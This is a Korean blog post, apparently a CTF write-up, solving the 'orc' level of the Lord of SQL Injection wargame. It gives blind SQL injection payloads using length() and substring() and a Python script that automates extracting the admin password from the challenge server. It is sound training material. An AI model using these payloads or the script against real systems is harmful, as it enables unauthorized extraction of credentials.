본문 바로가기
CTF/기타

[Load of SQL Injection] orc

by 8희 2022. 10. 31.

https://los.rubiya.kr/gate.php

 

https://los.rubiya.kr/gate.php

 

los.rubiya.kr

 

풀이 참고 링크:

https://koun9hwan.github.io/2021/09/28/2021-09-28-Lord_of_SQLInjection_4_orc/

https://devdori.tistory.com/22

 

 

query : select id from prob_orc where id='admin' and pw=''

-> query에서 id는 admin으로 고정되어 있고, pw는 입력 값을 받고 있다.

 

$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"

-> prob_orc 테이블에서 id가 admin이고 pw가 참이면 id 값을 query 변수에 저장한다.

 

$result = @mysqli_fetch_array(mysqli_query($db,$query));

if($result['id']) echo "<h2>Hello admin</h2>"

-> result['id']가 있으면 Hello admin을 출력한다.

 

$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

-> addslashes함수로 ', ", NULL을 필터링 한 쿼리문을 다시 실행시킨다.

-> result['pw'] 값과 GET으로 받은 pw 파라미터 값이 같으면 문제가 풀린다.

 

-> 즉, 처음 입력한 pw 파라미터 값과 addslashes 함수로 처리된 pw가 일치하면 문제가 해결된다.

-> 따라서 admin의 pw 값을 알아내야 한다.

 

Blind SQL Injection을 통해 pw를 알아내야 한다.

이는 정보를 직접적으로 알 수는 없더라도 True/False 값을 이용하여 정보를 알아내는 공격 방법이다.

-> 이 문제에선 pw를 한 글자씩 비교하고 Hello admin 출력으로 참,거짓을 판별해야 한다.

 

pw 길이가 아닐 때

 

pw 길이가 맞을 때

 

?pw=1' or id='admin' and length(pw)='1

-> MySQL의 length 함수를 이용하여 pw의 길이를 유추한다.

맨 끝의 값을 1부터 하나씩 증가하면서 비교하다가 Hello admin이 출력되면 그 때의 값이 문자열의 길이이다.

해당 과정을 반복함으로써 문자열의 길이가 8임을 알아낼 수 있었다. (그치만 다음 파이썬 코드를 이용하는 게 더 빠르다)

 

#파이썬 코드

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1' or id='admin' and "
head = {'Cookie' : 'PHPSESSID=값'}

length = 1
pwd = ''

while (1):
    query = "length(pw)='{}".format(length)
    req = requests.get(url+query, headers=head)
    print("[ +",length,"]")
    if "Hello admin" in req.text:
        print("총 길이는",length)
        break
    else:
        length = length + 1

for i in range(1, length+1):
    for j in range(48, 122):
        query = "substring(pw,{},1) = '{}".format(str(i),chr(j))
        req = requests.get(url+query, headers=head)
        if "Hello admin" in req.text:
            print(pwd)
            pwd = pwd + chr(j)
            break
            
print(pwd)

 

?pw=1' or id='admin' and substring(pw,1,1)='0

-> MySQL의 substring 함수를 사용하여 pw를 하나씩 추출해 참인지 확인해야 한다.

파이썬을 통해 자동으로 빠르게 pw 값을 추출할 수 있다. 해당 코드는 자동으로 pw 길이와 값을 구해준다.

 

 

파이썬 코드를 돌려서 나온 pw 값을 url에 입력하면 문제가 해결된다!

(substring()으로 추출한 4번째 문자는 'A'이지만 'a'를 입력해야 한다)

 


 

'CTF > 기타' 카테고리의 다른 글

[XSS-game] level 2  (0) 2022.11.07
[XSS-game] level 1  (0) 2022.10.31
[Load of SQL Injection] goblin  (0) 2022.10.31
[Load of SQL Injection] cobolt  (0) 2022.10.31
[Load of SQL Injection] gremlin  (0) 2022.10.31